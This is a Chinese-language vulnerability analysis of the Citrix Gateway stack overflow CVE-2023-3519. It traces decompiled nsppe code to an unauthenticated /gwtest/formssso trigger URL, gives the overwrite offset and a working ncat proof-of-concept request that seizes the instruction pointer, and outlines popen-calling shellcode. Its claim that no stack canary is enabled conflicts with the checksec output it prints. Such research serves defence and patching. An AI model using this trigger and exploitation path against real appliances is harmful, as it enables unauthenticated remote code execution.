CVE-2023-3519 Cirtix Gateway RCE分析

基本信息

Citrix ADC 及 Citrix Gateway 中存在缓冲区溢出漏洞,未授权的攻击者可以通过发送特殊请求触发漏洞,造成RCE。

影响版本

NetScaler ADC 、NetScaler Gateway 13.1 < 13.1-49.13 NetScaler ADC 、NetScaler Gateway 13.0 < 13.0-91.13 NetScaler ADC 13.1-FIPS < 13.1-37.159 NetScaler ADC 12.1-FIPS < 12.1-55.297 NetScaler ADC 12.1-NDcPP < 12.1-55.297

环境搭建

申请开发者试用,配置Citrix Gateway aa

技术分析&调试

根据国外安全研究员研究,该漏洞存在于/netscaler/nsppe文件内,diff修复前和修复后的nsppe,主要修改了ns_aaa_gwtest_get_event_and_target_names等几个函数

转到ns_aaa_gwtest_get_event_and_target_names函数,对比修复和未修复的代码,主要在调用ns_aaa_saml_url_decode函数时对v29添加了校验。

跟进ns_aaa_saml_url_decode函数,进入ns_aaa_saml_url_decode_inner

__int64 __fastcall ns_aaa_saml_url_decode(__int64 a1, __int64 a2, __int64 a3)
{
  return ns_aaa_saml_url_decode_inner(a1, a2, a3, 1LL);
}

ns_aaa_saml_url_decode_inner函数中a1是一个char指针,指向了http请求的url,在do while循环时遍历a1数组,当当前a1指向的字符是%,则获取到该字符后面两个字符通过datatable_ascii2bin得到对应的字符并写入到v4指向的数组内,实际上这里是url解码操作,解码后写入v4数组。 如果当前字符不是%则判断是不是+号,是+号则在v4数组内写入空格。两个都不是则直接写入到v4内,可以看出这块代码是在对传入的字符串判断是否为url编码如果是则进行url解码,如果不是则直接写入v4数组。

__int64 __fastcall ns_aaa_saml_url_decode_inner(char *a1, _BYTE *a2, int a3, int a4)
{
  _BYTE *v4; // rax
  unsigned __int64 v5; // r8
  char v6; // bl
  char *v7; // r9
  char v8; // r10
  char v9; // r11

  LODWORD(v4) = (_DWORD)a2;
  if ( a3 )
  {
    v5 = (unsigned __int64)&a1[a3];
    v4 = a2;
    do
    {
      v6 = *a1;
      if ( *a1 == '%' )
      {
        v7 = a1 + 2;
        if ( (unsigned __int64)(a1 + 2) < v5 )
        {
          v8 = a1[1];
          if ( (unsigned __int8)(v8 - 48) <= 9u )
          {
            v9 = *v7;
            if ( (unsigned __int8)(*v7 - 48) < 0xAu || (unsigned __int8)((v9 | 0x20) - 97) < 6u )
            {
              if ( v9 != 53 )
                v7 = a1;
              if ( (unsigned __int64)(a1 + 4) >= v5 )
                v7 = a1;
              if ( v8 != 50 )
                v7 = a1;
              if ( !a4 )
                v7 = a1;
              *v4 = datatable_ascii2bin[(unsigned __int8)v7[2]] + 16 * datatable_ascii2bin[(unsigned __int8)v7[1]];
              a1 = v7 + 3;
              goto LABEL_4;
            }
          }
        }
      }
      else if ( v6 == '+' )
      {
        *v4 = 32;
        ++a1;
        goto LABEL_4;
      }
      ++a1;
      *v4 = v6;
LABEL_4:
      ++v4;
    }
    while ( (unsigned __int64)a1 < v5 );
  }
  return (unsigned int)((_DWORD)v4 - (_DWORD)a2);
}

在循环中,写入的数组来源于传入的参数a2,并且do while循环结束是通过判断a1 < v5v5 = &a1[a3];a1是传入的char数组,a3是传入的int。向上追溯调用参数来源。 ns_aaa_saml_url_decode函数的v5最终来源于传入的a1参数,a2为传入的参数,v25来源于*(a1+174)。不难猜测a1应为一个结构体指针,该指针指向的结构体中存储了指向存储请求url的char数组及该数组的长度,该段代码为解析url的各个参数,并根据参数不同进行的操作。

__int64 __fastcall ns_aaa_gwtest_get_event_and_target_names(__int64 a1, __int64 a2, unsigned int *a3)
{
  unsigned int v3; // r13d
  unsigned int *v4; // rbx
  __int64 v5; // r12
  unsigned int v6; // r14d
  __int64 v7; // r13
  __int64 v8; // r12
  int v9; // r8d
  __int64 v10; // r10
  unsigned __int16 v11; // ax
  __int64 v12; // rcx
  unsigned int v13; // eax
  int v14; // ecx
  bool v15; // cf
  int v16; // eax
  __int64 v17; // rcx
  int v19; // r14d
  __int64 v20; // rax
  int v21; // ecx
  unsigned int v22; // r13d
  __int64 v23; // rax
  unsigned int v24; // edx
  __int64 v25; // rdx
  int v26; // eax
  unsigned int v27; // [rsp+0h] [rbp-50h]
  __int64 v28; // [rsp+18h] [rbp-38h] BYREF
  __int64 v29; // [rsp+20h] [rbp-30h]

  v3 = *(unsigned __int16 *)(a1 + 174);
  v27 = v3 - 17;
  if ( v3 < 0x20 )
  {
    v4 = a3;
    v5 = 0LL;
    v6 = 1441793;
    v7 = 0LL;
    goto LABEL_7;
  }
  v8 = *(_QWORD *)(a1 + 36);
  v29 = v8 + 17;
  v4 = a3;
  if ( (unsigned int)strncmp("event=", v8 + 17, 6LL) )
  {
    v6 = 1441800;
LABEL_5:
    v5 = 0LL;
    goto LABEL_6;
  }
  if ( !(unsigned int)strncmp(v8 + 23, "start&", 6LL) )
  {
    v19 = -29;
    v20 = 29LL;
    v21 = 1;
  }
  else
  {
    if ( (unsigned int)strncmp(v8 + 23, "done&", 5LL) )
    {
      v6 = 1441801;
      goto LABEL_5;
    }
    v19 = -28;
    v20 = 28LL;
    v21 = 2;
  }
  *v4 = v21;
  v5 = v20 + v8;
  v22 = v3 + v19;
  v6 = 1441802;
  v27 = v22;
  if ( (unsigned int)strncmp("target=", v5, 7LL) )
    goto LABEL_6;
  v23 = _wrap_memchr(v5 + 7, 38LL, (int)(v22 - 7));
  v24 = v22 - 7;
  v25 = v24 + 1;
  if ( (_DWORD)v25 != v22 - 6 )
  {
LABEL_6:
    v7 = v29;
    goto LABEL_7;
  }
  v26 = ns_aaa_saml_url_decode(v5 + 7, a2, v25);

ns_aaa_gwtest_get_event_and_target_namesns_aaa_gwtest_get_valid_fsso_server调用,其中v15为栈内char数组,大小为128字节。分析到这可以猜测,由于请求url的参数可控,自然请求url长度也可控,而v15这个数组为栈内数组,大小为128字节。ns_aaa_saml_url_decode_inner函数中循环次数由url长度决定,也就是可以控制写入v15数组的字节数,如果url过长则在循环时写入的字节数超过128字节,造成栈溢出。

__int64 __fastcall ns_aaa_gwtest_get_valid_fsso_server(__int64 a1)
{
  __int64 v1; // rbx
  unsigned int v2; // eax
  int v4; // r8d
  int v5; // r9d
  unsigned __int16 v6; // ax
  int v7; // r8d
  int v8; // r9d
  __int64 v9; // rcx
  unsigned int v10; // eax
  int v11; // ecx
  bool v12; // cf
  int v13; // eax
  __int64 v14; // rcx
  __int128 v15[8]; // [rsp+10h] [rbp-A0h] BYREF
  unsigned int v16; // [rsp+94h] [rbp-1Ch] BYREF
  __int64 v17; // [rsp+98h] [rbp-18h] BYREF
  int v18[3]; // [rsp+A4h] [rbp-Ch] BYREF

  memset(v15, 0, sizeof(v15));
  v16 = 0;
  v18[0] = 0;
  if ( (unsigned int)ns_aaa_gwtest_get_event_and_target_names(a1, (__int64)v15, &v16) )

向上追溯调用到该函数需要的路径,ns_aaa_gwtest_get_valid_fsso_serverns_aaa_gwtest_handler调用,在代码中可以看到当请求url+8处为formssso时才会进入到调用ns_aaa_gwtest_get_valid_fsso_server函数的逻辑。

__int64 __fastcall ns_aaa_gwtest_handler(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
  __int64 v5; // r15
  __int64 v6; // rax
  __int64 v7; // rcx
  _QWORD *v8; // rax
  unsigned int v9; // r13d
  __int64 valid_fsso_server; // rax
  __int64 v11; // rbx
  unsigned int v12; // r14d
  __int64 v13; // rax
  __int64 is_valid_auth_action; // rax
  __int64 v15; // rax
  __int64 v16; // rcx
  unsigned int v17; // eax
  __int64 v18; // rcx
  __int64 v20; // rcx
  __int64 v21; // rdx
  __int64 v22; // [rsp+0h] [rbp-30h]

  v5 = a3;
  v6 = ns_async_ctx;
  if ( ns_async_ctx )
  {
    v20 = (unsigned int)ns_async_callers_context_size;
    if ( *(_DWORD *)(ns_async_ctx + (unsigned int)ns_async_callers_context_size + 108) != 1486 )
      panic_0("Incorrect context id in ASYNC_SAVE_CTX", a2, a3, (unsigned int)ns_async_callers_context_size, a4);
    v12 = *(_DWORD *)(ns_async_ctx + (unsigned int)ns_async_callers_context_size + 112);
    v11 = *(_QWORD *)(ns_async_ctx + (unsigned int)ns_async_callers_context_size + 116);
    *(_DWORD *)(ns_async_ctx + (unsigned int)ns_async_callers_context_size + 112) = 0;
    *(_QWORD *)(v6 + v20 + 116) = 0LL;
    goto LABEL_41;
  }
  v7 = *(_QWORD *)(a2 + 36);
  v8 = (_QWORD *)(v7 + 8);
  a3 = *(_DWORD *)(v7 + 8) | 0x20202020u;
  v9 = 32;
  if ( (int)a3 <= 'lmar' )
  {
    if ( (_DWORD)a3 == '?dck' )
    {
      v12 = 7;
      v11 = 0LL;
      goto LABEL_41;
    }
    if ( (_DWORD)a3 == 1752462689 )
    {
      if ( (*v8 | 0x2020202020202020LL) != 'vreshtua'
        || (*(unsigned __int16 *)(v7 + 16) | 0x2020) != 29285
        || (*(_BYTE *)(v7 + 18) | 0x20) != 63 )
      {
        return v9;
      }
      v22 = a4;
      is_valid_auth_action = ns_aaa_gwtest_is_valid_auth_action(a2);
      if ( is_valid_auth_action )
      {
        v11 = is_valid_auth_action;
        v12 = 1;
        goto LABEL_39;
      }
      return 3907;
    }
    if ( (_DWORD)a3 != 'lluf' )
      return v9;
    v12 = 9 * ((*(_BYTE *)(v7 + 12) | 0x20) == 63);
LABEL_20:
    v11 = 0LL;
    if ( !v12 )
      return v9;
    goto LABEL_41;
  }
  if ( (int)a3 <= 'nahb' )
  {
    if ( (_DWORD)a3 == 'lmas' )
    {
      if ( (*(_WORD *)(v7 + 12) | 0x2020) == (*(_WORD *)"SP?" | 0x2020)
        && (*(_BYTE *)(v7 + 14) | 0x20) == (aSamlsp_0[6] | 0x20) )
      {
        v22 = a4;
        v13 = ns_aaa_gwtest_is_valid_auth_action(a2);
        if ( v13 )
        {
          v11 = v13;
          v12 = 3;
          goto LABEL_39;
        }
      }
      else
      {
        if ( (*(_WORD *)(v7 + 12) | 0x2020) != (*(_WORD *)"IdP?" | 0x2020)
          || (*(_BYTE *)(v7 + 14) | 0x20) != (aSamlidp_1[6] | 0x20) )
        {
          return v9;
        }
        v22 = a4;
        v15 = ns_aaa_gwtest_is_valid_auth_action(a2);
        if ( v15 )
        {
          v11 = v15;
          v12 = 4;
          goto LABEL_39;
        }
      }
    }
    else
    {
      if ( (_DWORD)a3 != 'mrof' || (*v8 | 0x2020202020202020LL) != 'osssmrof' || (*(_BYTE *)(v7 + 16) | 0x20) != 63 )
        return v9;
      v22 = a4;
      valid_fsso_server = ns_aaa_gwtest_get_valid_fsso_server(a2);

ns_aaa_gwtest_handlerns_vpn_process_unauthenticated_request函数调用,在ns_vpn_process_unauthenticated_request函数中有如下逻辑,当请求路径为/gwtest/时进入调用到目标函数的逻辑。

        if ( v51 == 1702131559 )
        {
          if ( (*(_QWORD *)v26 | '        ') != '/tsetwg/' )
            goto LABEL_2888;
LABEL_437:
          if ( ns_async_ctx && *(_DWORD *)(ns_async_ctx + (unsigned int)ns_async_callers_context_size + 108) != 652 )
            panic_0(
              "Async context ID does not match expected context ID NS_ASYNC_CTX_AAA_UNAUTH_GWTEST",
              a2,
              v25,
              (unsigned int)ns_async_callers_context_size,
              v26);
          v25 = (unsigned int)(ns_async_callers_context_size + 192);
          ns_async_callers_context_size += 192;
          v30 = v1891;
          if ( ns_async_ctx )
          {
            if ( *(_DWORD *)(ns_async_ctx + 8) != -87101427 )
              goto LABEL_4683;
            if ( (unsigned int)v25 < *(_DWORD *)(ns_async_ctx + 104) )
            {
              a2 = (unsigned int)v25;
              v25 = (unsigned int)(*(_DWORD *)(ns_async_ctx + (unsigned int)v25 + 108) - 172);
              if ( (unsigned int)v25 >= 0x611 )
                goto LABEL_759;
            }
          }
          v164 = ns_aaa_gwtest_handler((__int64)v1896, v1897, 0LL, v1891);

综上可以总结到调用到漏洞函数ns_aaa_saml_url_decode_inner所需要的url为:

http://target/gwtest/formssso?event=start&target=[overflow char]

只需要让[overflow char]过长即可溢出在ns_aaa_gwtest_get_valid_fsso_server函数内的char数组,造成溢出。查看nsppe防护,可以发现PIE,CANARY都没开,只需要利用栈溢出写入shellcode然后jmp esp即可执行shellcode。

# checksec --file=nsppe_unpatched
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable        FILE
No RELRO        Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   68527 Symbols     No    0               0 nsppe_unpatched

动态调试

找到nsppe进程

root@citrix3# ps aux | grep nsppe
root        457 100.0 43.2 693320 693560  -  Rs   19:10   223:34.32 nsppe (NSPPE-00)

禁用看门狗,使用命令禁止发送该信号

root@citrix3# nspf help
Usage: '/netscaler/nspf ((<process_name> | <pid>) <action> | query)'
  where <process_name> is one of:
    NSPPE-00      aslearn       awsconfig     bgpd          de
    imi           isisd         metricscollectomonuploadd    nsaaad
    nsaggregatord nscfsyncd     nsclfsyncd    nsclusterd    nsconfigd
    nscopo        nsfsyncd      nsgslbautosyncnslcd         nslped
    nsm           nsnetsvc      nsrised       nstraceaggregatnsumond
    ospf6d        ospfd         ptpd          ripd          ripngd
    snmpd         syshealthd


root@citrix3# /netscaler/nspf nsppe-00 pbmonitor 0
nspf NSPPE-00 pbmonitor 0
Removing pitboss monitor on process NSPPE-00 pid 37387

使用Citrix ADC自带的gdb附加调试nsppe

gdb /netscaler/nsppe 461

使用pattern_creat.rb创建字符串

┌──(root㉿kali)-[~]
└─# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

发送payload,触发漏洞,此时rsp为6641376641366641,对应offset为168,也就是168开始覆盖rsp

发送payload,触发漏洞,此时rip指向0xcc指令地址,gdb断下

echo -ne 'GET /gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x62\x8c\x6d\x00\x00\x00\x00\x00\xcc HTTP/1.1\r\nHost: 192.168.52.108\r\n\r\n' | ncat --ssl 192.168.52.108 443

在gdb中可以看到缓冲区位于rbp-0xa0处。

通过谷歌,知道在Citrix ADC中,nsppe是网络子系统,一当nsppe进程down了,会造成系统无法处理网络请求,最直观的表现就是当ssh连接目标系统并使用gdb调试nsppe进程的时候,ssh会卡死,而后退出,因为服务器的网络子系统处于调试状态,没办法处理网络请求。

所以在整个利用过程中,为了保证能够获取到shell/保活系统,要保证nsppe进程不会挂掉。通过shellcode调用popen函数然后执行系统命令,并返回到上层调用栈(保证请求正常返回)。

之后就是常规则shellcode编写了,直接使用二进制文件内硬编码的popen函数地址即可。需要注意的就是nsppe内实现的url解码逻辑有点不太一样, 具体参考参考链接,这里就不详细展开了。

小结

整个漏洞产生和利用原理简单直接,因为nsppe没有开启任何溢出防护措施,直接使用jmp esp即可,让我想起了这个经典表情包 不知道是不是因为这个引擎起源比较久的原因,nsppe没有去除调试符号,对于理解原理和调试exp都有非常大的帮助。

申请开发人员许可

https://blog.assetnote.io/2023/07/24/citrix-rce-part-2-cve-2023-3519/

Created at 2023-07-27T10:48:40+08:00

创建于:Thursday, July 27,2023
最后修改于: Tuesday, January 2,2024